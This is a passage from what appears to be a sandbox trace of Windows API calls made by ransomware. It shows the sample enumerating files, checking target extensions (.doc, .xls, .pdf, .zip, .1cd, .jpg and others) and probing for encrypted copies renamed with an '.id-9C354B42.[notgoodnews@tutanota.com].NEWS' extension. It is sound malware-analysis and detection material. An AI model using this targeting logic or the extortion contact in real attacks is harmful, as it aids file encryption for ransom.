Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0201.567] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=1218) returned 1 [0201.568] CloseHandle (hObject=0x28c) returned 1 [0201.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0201.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.568] lstrlenW (lpString=".doc") returned 4 [0201.568] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.569] lstrlenW (lpString=".docx") returned 5 [0201.569] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.569] lstrlenW (lpString=".pdf") returned 4 [0201.569] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.569] lstrlenW (lpString=".xls") returned 4 [0201.569] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.569] lstrlenW (lpString=".xlsx") returned 5 [0201.569] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.569] lstrlenW (lpString=".ppt") returned 4 [0201.569] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.569] lstrlenW (lpString=".zip") returned 4 [0201.569] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.570] lstrlenW (lpString=".rar") returned 4 [0201.570] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.570] lstrlenW (lpString=".bz2") returned 4 [0201.570] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.570] lstrlenW (lpString=".7z") returned 3 [0201.570] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.570] lstrlenW (lpString=".dbf") returned 4 [0201.571] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.571] lstrlenW (lpString=".1cd") returned 4 [0201.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.571] lstrlenW (lpString=".jpg") returned 4 [0201.571] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.572] lstrlenW (lpString=".doc") returned 4 [0201.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.572] lstrlenW (lpString=".docx") returned 5 [0201.572] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.572] lstrlenW (lpString=".pdf") returned 4 [0201.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.572] lstrlenW (lpString=".xls") returned 4 [0201.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.572] lstrlenW (lpString=".xlsx") returned 5 [0201.572] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.572] lstrlenW (lpString=".ppt") returned 4 [0201.573] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.573] lstrlenW (lpString=".zip") returned 4 [0201.573] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.573] lstrlenW (lpString=".rar") returned 4 [0201.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.573] lstrlenW (lpString=".bz2") returned 4 [0201.573] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.573] lstrlenW (lpString=".7z") returned 3 [0201.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.573] lstrlenW (lpString=".dbf") returned 4 [0201.573] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.574] lstrlenW (lpString=".1cd") returned 4 [0201.574] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0201.574] lstrlenW (lpString=".jpg") returned 4 [0201.574] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.574] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.575] lstrlenW (lpString="oskmenu.xml") returned 11 [0201.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0201.579] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=215) returned 1 [0201.579] CloseHandle (hObject=0x28c) returned 1 [0201.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0201.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.580] lstrlenW (lpString=".doc") returned 4 [0201.580] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.580] lstrlenW (lpString=".docx") returned 5 [0201.580] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0201.581] lstrlenW (lpString=".pdf") returned 4 [0201.581] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.581] lstrlenW (lpString=".xls") returned 4 [0201.581] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.581] lstrlenW (lpString=".xlsx") returned 5 [0201.581] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0201.581] lstrlenW (lpString=".ppt") returned 4 [0201.581] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.581] lstrlenW (lpString=".zip") returned 4 [0201.581] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.581] lstrlenW (lpString=".rar") returned 4 [0201.581] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.582] lstrlenW (lpString=".bz2") returned 4 [0201.582] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.582] lstrlenW (lpString=".7z") returned 3 [0201.582] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.582] lstrlenW (lpString=".dbf") returned 4 [0201.582] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.582] lstrlenW (lpString=".1cd") returned 4 [0201.582] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.582] lstrlenW (lpString=".jpg") returned 4 [0201.582] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.583] lstrlenW (lpString=".doc") returned 4 [0201.583] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.583] lstrlenW (lpString=".docx") returned 5 [0201.583] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0201.583] lstrlenW (lpString=".pdf") returned 4 [0201.583] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.583] lstrlenW (lpString=".xls") returned 4 [0201.583] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.583] lstrlenW (lpString=".xlsx") returned 5 [0201.583] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0201.583] lstrlenW (lpString=".ppt") returned 4 [0201.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.584] lstrlenW (lpString=".zip") returned 4 [0201.584] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.584] lstrlenW (lpString=".rar") returned 4 [0201.584] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.584] lstrlenW (lpString=".bz2") returned 4 [0201.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.584] lstrlenW (lpString=".7z") returned 3 [0201.584] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.584] lstrlenW (lpString=".dbf") returned 4 [0201.584] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.585] lstrlenW (lpString=".1cd") returned 4 [0201.585] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.585] lstrlenW (lpString=".jpg") returned 4 [0201.585] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.585] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.585] lstrlenW (lpString="oskpredbase.xml") returned 15 [0201.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0201.588] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=924) returned 1 [0201.588] CloseHandle (hObject=0x28c) returned 1 [0201.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0201.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.589] lstrlenW (lpString=".doc") returned 4 [0201.589] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.589] lstrlenW (lpString=".docx") returned 5 [0201.589] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.589] lstrlenW (lpString=".pdf") returned 4 [0201.589] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.589] lstrlenW (lpString=".xls") returned 4 [0201.589] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.589] lstrlenW (lpString=".xlsx") returned 5 [0201.589] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.589] lstrlenW (lpString=".ppt") returned 4 [0201.589] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.590] lstrlenW (lpString=".zip") returned 4 [0201.590] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.590] lstrlenW (lpString=".rar") returned 4 [0201.590] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.590] lstrlenW (lpString=".bz2") returned 4 [0201.590] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.590] lstrlenW (lpString=".7z") returned 3 [0201.590] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.590] lstrlenW (lpString=".dbf") returned 4 [0201.590] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.590] lstrlenW (lpString=".1cd") returned 4 [0201.591] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.591] lstrlenW (lpString=".jpg") returned 4 [0201.591] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.591] lstrlenW (lpString=".doc") returned 4 [0201.591] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.591] lstrlenW (lpString=".docx") returned 5 [0201.591] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.592] lstrlenW (lpString=".pdf") returned 4 [0201.592] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.592] lstrlenW (lpString=".xls") returned 4 [0201.592] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.592] lstrlenW (lpString=".xlsx") returned 5 [0201.592] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.592] lstrlenW (lpString=".ppt") returned 4 [0201.592] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.592] lstrlenW (lpString=".zip") returned 4 [0201.592] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.592] lstrlenW (lpString=".rar") returned 4 [0201.592] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.592] lstrlenW (lpString=".bz2") returned 4 [0201.593] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.593] lstrlenW (lpString=".7z") returned 3 [0201.593] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.593] lstrlenW (lpString=".dbf") returned 4 [0201.593] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.593] lstrlenW (lpString=".1cd") returned 4 [0201.593] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.593] lstrlenW (lpString=".jpg") returned 4 [0201.593] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.594] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x3b04f30, Size=0x2000) returned 0x3b04f30 [0201.594] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.594] lstrlenW (lpString="oskpred.xml") returned 11 [0201.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0201.594] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=215) returned 1 [0201.595] CloseHandle (hObject=0x28c) returned 1 [0201.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0201.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.595] lstrlenW (lpString=".doc") returned 4 [0201.595] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.596] lstrlenW (lpString=".docx") returned 5 [0201.596] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0201.596] lstrlenW (lpString=".pdf") returned 4 [0201.596] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.596] lstrlenW (lpString=".xls") returned 4 [0201.596] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.596] lstrlenW (lpString=".xlsx") returned 5 [0201.596] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0201.596] lstrlenW (lpString=".ppt") returned 4 [0201.596] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.596] lstrlenW (lpString=".zip") returned 4 [0201.596] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.597] lstrlenW (lpString=".rar") returned 4 [0201.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.597] lstrlenW (lpString=".bz2") returned 4 [0201.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.597] lstrlenW (lpString=".7z") returned 3 [0201.597] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.597] lstrlenW (lpString=".dbf") returned 4 [0201.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.597] lstrlenW (lpString=".1cd") returned 4 [0201.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.597] lstrlenW (lpString=".jpg") returned 4 [0201.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.598] lstrlenW (lpString=".doc") returned 4 [0201.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.598] lstrlenW (lpString=".docx") returned 5 [0201.598] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0201.598] lstrlenW (lpString=".pdf") returned 4 [0201.598] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.598] lstrlenW (lpString=".xls") returned 4 [0201.598] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.598] lstrlenW (lpString=".xlsx") returned 5 [0201.598] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0201.599] lstrlenW (lpString=".ppt") returned 4 [0201.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.599] lstrlenW (lpString=".zip") returned 4 [0201.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.599] lstrlenW (lpString=".rar") returned 4 [0201.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.599] lstrlenW (lpString=".bz2") returned 4 [0201.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.599] lstrlenW (lpString=".7z") returned 3 [0201.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.599] lstrlenW (lpString=".dbf") returned 4 [0201.600] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.600] lstrlenW (lpString=".1cd") returned 4 [0201.600] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.600] lstrlenW (lpString=".jpg") returned 4 [0201.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.600] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.601] lstrlenW (lpString="ea-sym.xml") returned 10 [0201.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0201.601] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=749) returned 1 [0201.601] CloseHandle (hObject=0x28c) returned 1 [0201.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0201.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0201.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0201.806] lstrlenW (lpString=".doc") returned 4 [0201.806] lstrcmpiW (lpString1=".doc", 